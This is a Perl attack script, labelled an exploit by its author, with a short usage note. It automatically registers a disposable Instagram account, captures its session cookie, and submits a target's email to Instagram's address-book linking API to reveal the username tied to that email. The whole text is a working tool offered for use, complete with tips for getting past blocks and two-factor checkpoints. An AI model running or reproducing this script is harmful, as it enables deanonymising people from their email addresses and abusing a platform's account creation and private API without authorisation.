1- if you see this : [Sorry, Fail Step 1 Because Block Creating Accounts :( try later plz] -> don't worry, this is just block IP [Fix: Restart Tool later]
2- if you see this : [Sorry, Fail Step 2 Because 2FA, Plz Try Again Now !.] -> don't worry, this is just Checkpoint [Fix: Just Try Again]
Thank You
- 1337r00t
#!usr/bin/perl
##################################
# CoDed by 1337r00t
#############
# Now You Can Get The Real Username By Email [Instagram]
#############
# Tested on: Windows[CMD] ~ Linux[Parrot]
# Date: 1/2/2018
# Vendor Homepage: https://instagram.com/
# Exploit Author: 1337r00t (@_1337r00t)
###############################################
# X-MSG-To-Instagram: Nothing Good For you :( #
###############################################
# Gz: ReYaM[RoRDeZ] - x03x - Dr.Abolalh - Lion Hacker - Evil~r00t -
##################################
use LWP::UserAgent;
###############
system('cls');
print q(
|------------------------|
| Priv8 Tool |
|------------------------|
| #Exploit# |
| Get Username By Email |
| By 1337r00t |
|------------------------|
| Follow Me |
|~~~~~~~~~~~~~~~~~~~~~~~~|
| Twitter: @_1337r00t |
| Instagram: @x1337r00t |
|------------------------|
You're So nice Today :} Fuck Instagram DuDe
);#X-MSG-SKids: Don't Edit Anything
print "Email => ";
$mails = <STDIN>;
chomp($mails);
print "\n";
# Ruuuuuun
print email($mails);
##########33
###############
sub email($){
($email) = @_;
unlink 'sessionids.txt';
$mail = 'a'.time.'@gmail.com';
$pass = 'aaaaa2242';
$user = 'a'.time.'a';
print "\n-----\nStep 1 - Create Account To Get Username [Wait!..]\n-----\n";
$sessions = LWP::UserAgent->new();
$sessions->default_header('Referer'=>"https://www.instagram.com/");
$sessions->default_header('X-CSRFToken'=>"KEG1ZgoSE7i4IGWIzqm20zCMqZAnx0OW");
$sessions->default_header('Cookie'=>"csrftoken=KEG1ZgoSE7i4IGWIzqm20zCMqZAnx0OW;");
$seesed = $sessions->post('https://www.instagram.com/accounts/web_create_ajax/',{email=>$mail,password=>$pass,username=>$user});
$out = $seesed->header('Set-Cookie');
if($out=~/sessionid/){
print "Created :)\n\n-----\nStep 2 - Get Username [Wait!...]\n-----\n";
open(SESSION,">>sessionids.txt");
print SESSION $seesed->header('Set-Cookie')=~/sessionid=(.+?);/;;
close(SESSION);
open (SESSIONFILE, "<sessionids.txt");
@sessionids = <SESSIONFILE>;
close SESSIONFILE;
foreach $sessionid (@sessionids) {
chomp $sessionid;
$post = '[{"email_addresses":["'.$email.'"]}]';
$getting = LWP::UserAgent->new();
$getting->default_header('Cookie'=>"sessionid=$sessionid;");
$getting->default_header('User-Agent'=>"Instagram 7.16.0 Android");
$getted = $getting->post('https://i.instagram.com/api/v1/address_book/link/',{contacts=>$post});
unlink 'sessionids.txt';
if($getted->content=~/"pk"/){
print "\n-------------------\n";
print "Username: ";
return $getted->content=~/"username": "(.+?)"/;
}else{
if($getted->content=~/"logout_reason": 3,/){
return "Sorry, Fail Step 2 Because 2FA, Plz Try Again Now !.";
}else{
return "Email -> ($email) Not Found :(";
}
}
}
}else{
return 'Sorry, Fail Step 1 Because Block Creating Accounts :( try later plz';
}
}